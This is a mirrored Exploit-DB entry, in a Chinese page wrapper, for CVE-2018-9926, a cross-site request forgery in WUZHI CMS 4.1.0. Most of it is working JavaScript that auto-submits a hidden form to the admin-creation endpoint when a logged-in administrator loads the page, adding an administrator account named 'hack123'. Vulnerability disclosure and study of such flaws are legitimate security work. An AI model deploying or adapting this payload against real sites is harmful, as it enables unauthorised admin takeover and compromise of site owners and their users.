WUZHI CMS 4.1.0 – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： taoge

日期： 2018-04-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/44439/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

# Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add admin account

# Date: 2018-04-10

# Exploit Author: taoge

# Vendor Homepage: https://github.com/wuzhicms/wuzhicms

# Software Link: https://github.com/wuzhicms/wuzhicms

# Version: 4.1.0

# CVE : CVE-2018-9926

An issue was discovered in WUZHI CMS 4.1.0.（https://github.com/wuzhicms/wuzhicms/issues/128）

There is a CSRF vulnerability that can add an admin account via index.php?m=core&f=power&v=add.

After the administrator logged in, open the csrf exp page.

function post(url,fields)

{

var p = document.createElement("form");

p.action = url;

p.innerHTML = fields;

p.target = "_self";

p.method = "post";

document.body.appendChild(p);

p.submit();

}

function csrf_hack()

{

var fields;

fields += "<input type='hidden' name='form[role][]' value='1' />";

fields += "<input type='hidden' name='form[username]' value='hack123' />";

fields += "<input type='hidden' name='form[password]' value='' />";

fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />";

var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=taoge";

post(url,fields);

}

window.onload = function() { csrf_hack();}

</script>

</body></html>